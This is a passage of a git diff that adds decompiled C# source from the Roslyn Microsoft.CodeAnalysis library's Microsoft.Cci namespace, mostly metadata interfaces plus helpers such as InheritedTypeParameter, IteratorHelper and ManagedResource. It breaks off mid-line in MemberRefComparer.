+namespace Microsoft.Cci; + +internal interface INamespaceTypeReference : INamedTypeReference, ITypeReference, IReference, INamedEntity +{ + string NamespaceName { get; } + + IUnitReference GetUnit(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INestedTypeDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INestedTypeDefinition.cs new file mode 100644 index 0000000..7773d32 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INestedTypeDefinition.cs @@ -0,0 +1,5 @@ +namespace Microsoft.Cci; + +internal interface INestedTypeDefinition : INamedTypeDefinition, ITypeDefinition, IDefinition, IReference, ITypeReference, INamedTypeReference, INamedEntity, ITypeDefinitionMember, ITypeMemberReference, INestedTypeReference +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INestedTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INestedTypeReference.cs new file mode 100644 index 0000000..0cc4cd8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/INestedTypeReference.cs @@ -0,0 +1,5 @@ +namespace Microsoft.Cci; + +internal interface INestedTypeReference : INamedTypeReference, ITypeReference, IReference, INamedEntity, ITypeMemberReference +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IParameterDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IParameterDefinition.cs new file mode 100644 index 0000000..5b2ff7d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IParameterDefinition.cs @@ -0,0 +1,24 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IParameterDefinition : IDefinition, IReference, INamedEntity, IParameterTypeInformation, IParameterListEntry +{ + bool HasDefaultValue { get; } + + bool IsIn { get; } + + bool IsMarshalledExplicitly { get; } + + bool IsOptional { get; } + + bool IsOut { get; } + + IMarshallingInformation? MarshallingInformation { get; } + + ImmutableArray MarshallingDescriptor { get; } + + MetadataConstant? GetDefaultValue(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IParameterListEntry.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IParameterListEntry.cs new file mode 100644 index 0000000..275c8cb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IParameterListEntry.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface IParameterListEntry +{ + ushort Index { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IParameterTypeInformation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IParameterTypeInformation.cs new file mode 100644 index 0000000..bcd98ce --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IParameterTypeInformation.cs @@ -0,0 +1,15 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IParameterTypeInformation : IParameterListEntry +{ + ImmutableArray CustomModifiers { get; } + + ImmutableArray RefCustomModifiers { get; } + + bool IsByReference { get; } + + ITypeReference GetType(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IPlatformInvokeInformation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IPlatformInvokeInformation.cs new file mode 100644 index 0000000..0d74908 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IPlatformInvokeInformation.cs @@ -0,0 +1,12 @@ +using System.Reflection; + +namespace Microsoft.Cci; + +internal interface IPlatformInvokeInformation +{ + string? ModuleName { get; } + + string? EntryPointName { get; } + + MethodImportAttributes Flags { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IPointerTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IPointerTypeReference.cs new file mode 100644 index 0000000..0539c2f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IPointerTypeReference.cs @@ -0,0 +1,8 @@ +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IPointerTypeReference : ITypeReference, IReference +{ + ITypeReference GetTargetType(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IPropertyDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IPropertyDefinition.cs new file mode 100644 index 0000000..ff7b8e7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IPropertyDefinition.cs @@ -0,0 +1,25 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface IPropertyDefinition : ISignature, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition +{ + MetadataConstant? DefaultValue { get; } + + IMethodReference? Getter { get; } + + bool HasDefaultValue { get; } + + bool IsRuntimeSpecial { get; } + + bool IsSpecialName { get; } + + ImmutableArray Parameters { get; } + + IMethodReference? Setter { get; } + + IEnumerable GetAccessors(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IReference.cs new file mode 100644 index 0000000..313e10b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IReference.cs @@ -0,0 +1,16 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.Cci; + +internal interface IReference +{ + IEnumerable GetAttributes(EmitContext context); + + void Dispatch(MetadataVisitor visitor); + + IDefinition? AsDefinition(EmitContext context); + + ISymbolInternal? GetInternalSymbol(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISignature.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISignature.cs new file mode 100644 index 0000000..dcc3737 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISignature.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface ISignature +{ + CallingConvention CallingConvention { get; } + + ushort ParameterCount { get; } + + ImmutableArray ReturnValueCustomModifiers { get; } + + ImmutableArray RefCustomModifiers { get; } + + bool ReturnValueIsByRef { get; } + + ImmutableArray GetParameters(EmitContext context); + + ITypeReference GetType(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedEventDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedEventDefinition.cs new file mode 100644 index 0000000..8407026 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedEventDefinition.cs @@ -0,0 +1,12 @@ +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.Cci; + +internal interface ISpecializedEventDefinition : IEventDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition +{ + IEventDefinition UnspecializedVersion + { + [return: NotNull] + get; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedFieldReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedFieldReference.cs new file mode 100644 index 0000000..59f0c84 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedFieldReference.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface ISpecializedFieldReference : IFieldReference, ITypeMemberReference, IReference, INamedEntity +{ + IFieldReference UnspecializedVersion { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedMethodReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedMethodReference.cs new file mode 100644 index 0000000..b58b9fc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedMethodReference.cs @@ -0,0 +1,6 @@ +namespace Microsoft.Cci; + +internal interface ISpecializedMethodReference : IMethodReference, ISignature, ITypeMemberReference, IReference, INamedEntity +{ + IMethodReference UnspecializedVersion { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedNestedTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedNestedTypeReference.cs new file mode 100644 index 0000000..b65ffff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedNestedTypeReference.cs @@ -0,0 +1,10 @@ +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface ISpecializedNestedTypeReference : INestedTypeReference, INamedTypeReference, ITypeReference, IReference, INamedEntity, ITypeMemberReference +{ + [return: NotNull] + INestedTypeReference GetUnspecializedVersion(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedPropertyDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedPropertyDefinition.cs new file mode 100644 index 0000000..d52c22a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ISpecializedPropertyDefinition.cs @@ -0,0 +1,12 @@ +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.Cci; + +internal interface ISpecializedPropertyDefinition : IPropertyDefinition, ISignature, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition +{ + IPropertyDefinition UnspecializedVersion + { + [return: NotNull] + get; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeDefinition.cs new file mode 100644 index 0000000..90ceb4e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeDefinition.cs @@ -0,0 +1,62 @@ +using System.Collections.Generic; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface ITypeDefinition : IDefinition, IReference, ITypeReference +{ + ushort Alignment { get; } + + IEnumerable GenericParameters { get; } + + ushort GenericParameterCount { get; } + + bool HasDeclarativeSecurity { get; } + + bool IsAbstract { get; } + + bool IsBeforeFieldInit { get; } + + bool IsComObject { get; } + + bool IsGeneric { get; } + + bool IsInterface { get; } + + bool IsDelegate { get; } + + bool IsRuntimeSpecial { get; } + + bool IsSerializable { get; } + + bool IsSpecialName { get; } + + bool IsWindowsRuntimeImport { get; } + + bool IsSealed { get; } + + LayoutKind Layout { get; } + + IEnumerable SecurityAttributes { get; } + + uint SizeOf { get; } + + CharSet StringFormat { get; } + + ITypeReference? GetBaseClass(EmitContext context); + + IEnumerable GetEvents(EmitContext context); + + IEnumerable GetExplicitImplementationOverrides(EmitContext context); + + IEnumerable GetFields(EmitContext context); + + IEnumerable Interfaces(EmitContext context); + + IEnumerable GetMethods(EmitContext context); + + IEnumerable GetNestedTypes(EmitContext context); + + IEnumerable GetProperties(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeDefinitionMember.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeDefinitionMember.cs new file mode 100644 index 0000000..51dc8a2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeDefinitionMember.cs @@ -0,0 +1,8 @@ +namespace Microsoft.Cci; + +internal interface ITypeDefinitionMember : ITypeMemberReference, IReference, INamedEntity, IDefinition +{ + ITypeDefinition ContainingTypeDefinition { get; } + + TypeMemberVisibility Visibility { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeMemberReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeMemberReference.cs new file mode 100644 index 0000000..0922ac0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeMemberReference.cs @@ -0,0 +1,8 @@ +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface ITypeMemberReference : IReference, INamedEntity +{ + ITypeReference GetContainingType(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeReference.cs new file mode 100644 index 0000000..e1d09bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeReference.cs @@ -0,0 +1,35 @@ +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal interface ITypeReference : IReference +{ + bool IsEnum { get; } + + bool IsValueType { get; } + + PrimitiveTypeCode TypeCode { get; } + + TypeDefinitionHandle TypeDef { get; } + + IGenericMethodParameterReference? AsGenericMethodParameterReference { get; } + + IGenericTypeInstanceReference? AsGenericTypeInstanceReference { get; } + + IGenericTypeParameterReference? AsGenericTypeParameterReference { get; } + + INamespaceTypeReference? AsNamespaceTypeReference { get; } + + INestedTypeReference? AsNestedTypeReference { get; } + + ISpecializedNestedTypeReference? AsSpecializedNestedTypeReference { get; } + + ITypeDefinition? GetResolvedType(EmitContext context); + + INamespaceTypeDefinition? AsNamespaceTypeDefinition(EmitContext context); + + INestedTypeDefinition? AsNestedTypeDefinition(EmitContext context); + + ITypeDefinition? AsTypeDefinition(EmitContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeReferenceExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeReferenceExtensions.cs new file mode 100644 index 0000000..96295a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ITypeReferenceExtensions.cs @@ -0,0 +1,46 @@ +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.Cci; + +internal static class ITypeReferenceExtensions +{ + internal static void GetConsolidatedTypeArguments(this ITypeReference typeReference, ArrayBuilder consolidatedTypeArguments, EmitContext context) + { + typeReference.AsNestedTypeReference?.GetContainingType(context).GetConsolidatedTypeArguments(consolidatedTypeArguments, context); + IGenericTypeInstanceReference asGenericTypeInstanceReference = typeReference.AsGenericTypeInstanceReference; + if (asGenericTypeInstanceReference != null) + { + consolidatedTypeArguments.AddRange(asGenericTypeInstanceReference.GetGenericArguments(context)); + } + } + + internal static ITypeReference GetUninstantiatedGenericType(this ITypeReference typeReference, EmitContext context) + { + IGenericTypeInstanceReference asGenericTypeInstanceReference = typeReference.AsGenericTypeInstanceReference; + if (asGenericTypeInstanceReference != null) + { + return asGenericTypeInstanceReference.GetGenericType(context); + } + ISpecializedNestedTypeReference asSpecializedNestedTypeReference = typeReference.AsSpecializedNestedTypeReference; + if (asSpecializedNestedTypeReference != null) + { + return asSpecializedNestedTypeReference.GetUnspecializedVersion(context); + } + return typeReference; + } + + internal static bool IsTypeSpecification(this ITypeReference typeReference) + { + INestedTypeReference asNestedTypeReference = typeReference.AsNestedTypeReference; + if (asNestedTypeReference != null) + { + if (asNestedTypeReference.AsSpecializedNestedTypeReference == null) + { + return asNestedTypeReference.AsGenericTypeInstanceReference != null; + } + return true; + } + return typeReference.AsNamespaceTypeReference == null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IUnit.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IUnit.cs new file mode 100644 index 0000000..18bedb7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IUnit.cs @@ -0,0 +1,5 @@ +namespace Microsoft.Cci; + +internal interface IUnit : IUnitReference, IReference, INamedEntity, IDefinition +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IUnitReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IUnitReference.cs new file mode 100644 index 0000000..89c606e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IUnitReference.cs @@ -0,0 +1,5 @@ +namespace Microsoft.Cci; + +internal interface IUnitReference : IReference, INamedEntity +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IWin32Resource.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IWin32Resource.cs new file mode 100644 index 0000000..f94f9d8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IWin32Resource.cs @@ -0,0 +1,20 @@ +using System.Collections.Generic; + +namespace Microsoft.Cci; + +internal interface IWin32Resource +{ + string TypeName { get; } + + int TypeId { get; } + + string Name { get; } + + int Id { get; } + + uint LanguageId { get; } + + uint CodePage { get; } + + IEnumerable Data { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/InheritedTypeParameter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/InheritedTypeParameter.cs new file mode 100644 index 0000000..bed3322 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/InheritedTypeParameter.cs @@ -0,0 +1,181 @@ +using System.Collections.Generic; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal class InheritedTypeParameter : IGenericTypeParameter, IGenericParameter, IGenericParameterReference, ITypeReference, IReference, INamedEntity, IParameterListEntry, IGenericTypeParameterReference +{ + private readonly ushort _index; + + private readonly ITypeDefinition _inheritingType; + + private readonly IGenericTypeParameter _parentParameter; + + public ITypeDefinition DefiningType => _inheritingType; + + public bool MustBeReferenceType => _parentParameter.MustBeReferenceType; + + public bool MustBeValueType => _parentParameter.MustBeValueType; + + public bool MustHaveDefaultConstructor => _parentParameter.MustHaveDefaultConstructor; + + public TypeParameterVariance Variance + { + get + { + if (!_inheritingType.IsInterface && !_inheritingType.IsDelegate) + { + return TypeParameterVariance.NonVariant; + } + return _parentParameter.Variance; + } + } + + public ushort Alignment => 0; + + public bool HasDeclarativeSecurity => false; + + public bool IsEnum => false; + + public IArrayTypeReference? AsArrayTypeReference => this as IArrayTypeReference; + + public IGenericMethodParameter? AsGenericMethodParameter => this as IGenericMethodParameter; + + public IGenericMethodParameterReference? AsGenericMethodParameterReference => this as IGenericMethodParameterReference; + + public IGenericTypeInstanceReference? AsGenericTypeInstanceReference => this as IGenericTypeInstanceReference; + + public IGenericTypeParameter? AsGenericTypeParameter => this; + + public IGenericTypeParameterReference? AsGenericTypeParameterReference => this; + + public INamespaceTypeReference? AsNamespaceTypeReference => this as INamespaceTypeReference; + + public INestedTypeReference? AsNestedTypeReference => this as INestedTypeReference; + + public ISpecializedNestedTypeReference? AsSpecializedNestedTypeReference => this as ISpecializedNestedTypeReference; + + public IModifiedTypeReference? AsModifiedTypeReference => this as IModifiedTypeReference; + + public IPointerTypeReference? AsPointerTypeReference => this as IPointerTypeReference; + + public TypeDefinitionHandle TypeDef => default(TypeDefinitionHandle); + + public bool IsAlias => false; + + public bool IsValueType => false; + + public PrimitiveTypeCode TypeCode => PrimitiveTypeCode.NotPrimitive; + + public ushort Index => _index; + + public string? Name => _parentParameter.Name; + + ITypeReference IGenericTypeParameterReference.DefiningType => _inheritingType; + + public bool MangleName => false; + + public bool IsNested + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/InheritedTypeParameter.cs", 276); + } + } + + public bool IsSpecializedNested + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/InheritedTypeParameter.cs", 281); + } + } + + public ITypeReference UnspecializedVersion + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/InheritedTypeParameter.cs", 286); + } + } + + public bool IsNamespaceTypeReference + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/InheritedTypeParameter.cs", 291); + } + } + + public bool IsGenericTypeInstance + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/InheritedTypeParameter.cs", 296); + } + } + + internal InheritedTypeParameter(ushort index, ITypeDefinition inheritingType, IGenericTypeParameter parentParameter) + { + _index = index; + _inheritingType = inheritingType; + _parentParameter = parentParameter; + } + + public IEnumerable GetConstraints(EmitContext context) + { + return _parentParameter.GetConstraints(context); + } + + public INamespaceTypeDefinition? AsNamespaceTypeDefinition(EmitContext context) + { + return this as INamespaceTypeDefinition; + } + + public INestedTypeDefinition? AsNestedTypeDefinition(EmitContext context) + { + return this as INestedTypeDefinition; + } + + public ITypeDefinition? AsTypeDefinition(EmitContext context) + { + return this as ITypeDefinition; + } + + public IDefinition? AsDefinition(EmitContext context) + { + return this as IDefinition; + } + + ISymbolInternal? IReference.GetInternalSymbol() + { + return null; + } + + public IEnumerable GetAttributes(EmitContext context) + { + return _parentParameter.GetAttributes(context); + } + + public void Dispatch(MetadataVisitor visitor) + { + } + + public ITypeDefinition GetResolvedType(EmitContext context) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/InheritedTypeParameter.cs", 228); + } + + public sealed override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/InheritedTypeParameter.cs", 302); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/InheritedTypeParameter.cs", 308); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/InstructionOperandTypes.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/InstructionOperandTypes.cs new file mode 100644 index 0000000..af9af97 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/InstructionOperandTypes.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Immutable; +using System.Reflection.Emit; + +namespace Microsoft.Cci; + +internal static class InstructionOperandTypes +{ + internal static ReadOnlySpan OneByte => new byte[255] + { + 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 5, 5, 5, 5, 18, 18, 18, 18, 18, 18, + 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 5, 16, 2, 3, 17, 7, 0, 5, 5, 4, + 4, 9, 5, 15, 15, 15, 15, 15, 15, 15, + 15, 15, 15, 15, 15, 15, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, + 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 5, 4, 13, 13, 10, 4, 13, 13, 5, 0, + 0, 13, 5, 1, 1, 1, 1, 1, 1, 13, + 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 13, 13, 5, 13, 5, 5, 5, 5, 5, 5, + 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 5, 5, 5, 13, 13, 13, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, + 5, 5, 5, 5, 5, 5, 5, 0, 0, 0, + 0, 0, 0, 0, 13, 5, 0, 0, 13, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 12, 5, + 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, + 5, 0, 15, 5, 5, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 + }; + + internal static ReadOnlySpan TwoByte => new byte[31] + { + 5, 5, 5, 5, 5, 5, 4, 4, 0, 14, + 14, 14, 14, 14, 14, 5, 0, 5, 16, 5, + 5, 13, 13, 5, 5, 0, 5, 0, 13, 5, + 5 + }; + + internal static OperandType ReadOperandType(ImmutableArray il, ref int position) + { + byte b = il[position++]; + if (b == 254) + { + return (OperandType)TwoByte[il[position++]]; + } + return (OperandType)OneByte[b]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IteratorHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IteratorHelper.cs new file mode 100644 index 0000000..2ed2bf7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/IteratorHelper.cs @@ -0,0 +1,53 @@ +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.Cci; + +internal static class IteratorHelper +{ + public static bool EnumerableIsNotEmpty([NotNullWhen(true)] IEnumerable? enumerable) + { + if (enumerable == null) + { + return false; + } + if (enumerable is IList list) + { + return list.Count != 0; + } + if (enumerable is IList list2) + { + return list2.Count != 0; + } + return enumerable.GetEnumerator().MoveNext(); + } + + public static bool EnumerableIsEmpty([NotNullWhen(false)] IEnumerable? enumerable) + { + return !EnumerableIsNotEmpty(enumerable); + } + + public static uint EnumerableCount(IEnumerable? enumerable) + { + if (enumerable == null) + { + return 0u; + } + if (enumerable is IList list) + { + return (uint)list.Count; + } + if (enumerable is IList list2) + { + return (uint)list2.Count; + } + uint num = 0u; + IEnumerator enumerator = enumerable.GetEnumerator(); + while (enumerator.MoveNext()) + { + num++; + } + return num & 0x7FFFFFFF; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/LocalScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/LocalScope.cs new file mode 100644 index 0000000..2c0f32d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/LocalScope.cs @@ -0,0 +1,29 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis; + +namespace Microsoft.Cci; + +internal readonly struct LocalScope +{ + public readonly int StartOffset; + + public readonly int EndOffset; + + private readonly ImmutableArray _constants; + + private readonly ImmutableArray _locals; + + public int Length => EndOffset - StartOffset; + + public ImmutableArray Constants => _constants.NullToEmpty(); + + public ImmutableArray Variables => _locals.NullToEmpty(); + + internal LocalScope(int offset, int endOffset, ImmutableArray constants, ImmutableArray locals) + { + StartOffset = offset; + EndOffset = endOffset; + _constants = constants; + _locals = locals; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ManagedResource.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ManagedResource.cs new file mode 100644 index 0000000..cea7f42 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ManagedResource.cs @@ -0,0 +1,69 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal sealed class ManagedResource +{ + private readonly Func? _streamProvider; + + private readonly IFileReference? _fileReference; + + private readonly uint _offset; + + private readonly string _name; + + private readonly bool _isPublic; + + public IFileReference? ExternalFile => _fileReference; + + public uint Offset => _offset; + + public IEnumerable Attributes => SpecializedCollections.EmptyEnumerable(); + + public bool IsPublic => _isPublic; + + public string Name => _name; + + internal ManagedResource(string name, bool isPublic, Func? streamProvider, IFileReference? fileReference, uint offset) + { + _streamProvider = streamProvider; + _name = name; + _fileReference = fileReference; + _offset = offset; + _isPublic = isPublic; + } + + public void WriteData(BlobBuilder resourceWriter) + { + if (_fileReference != null) + { + return; + } + try + { + using Stream stream = _streamProvider(); + if (stream == null) + { + throw new InvalidOperationException(CodeAnalysisResources.ResourceStreamProviderShouldReturnNonNullStream); + } + int num = (int)(stream.Length - stream.Position); + resourceWriter.WriteInt32(num); + int num2 = resourceWriter.TryWriteBytes(stream, num); + if (num2 != num) + { + throw new EndOfStreamException(string.Format(CultureInfo.CurrentUICulture, CodeAnalysisResources.ResourceStreamEndedUnexpectedly, num2, num)); + } + resourceWriter.Align(8); + } + catch (Exception inner) + { + throw new ResourceException(_name, inner); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MemberRefComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MemberRefComparer.cs new file mode 100644 index 0000000..70b41c8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MemberRefComparer.cs @@ -0,0 +1,57 @@ +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal sealed class MemberRefComparer : IEqualityComparer +{ + private readonly MetadataWriter _metadataWriter; + + internal MemberRefComparer(MetadataWriter metadataWriter) + { + _metadataWriter = metadataWriter; + } + + public bool Equals(ITypeMemberReference? x, ITypeMemberReference? y) + { + if (x == y) + { + return true; + } + if (x.GetContainingType(_metadataWriter.Context) != y.GetContainingType(_metadataWriter.Context) && _metadataWriter.GetMemberReferenceParent(x) != _metadataWriter.GetMemberReferenceParent(y)) + { + return false; + } + if (x.Name != y.Name) + { + return false; + } + IFieldReference fieldReference = x as IFieldReference; + IFieldReference fieldReference2 = y as IFieldReference; + if (fieldReference != null && fieldReference2 != null) + { + return _metadataWriter.GetFieldSignatureIndex(fieldReference) == 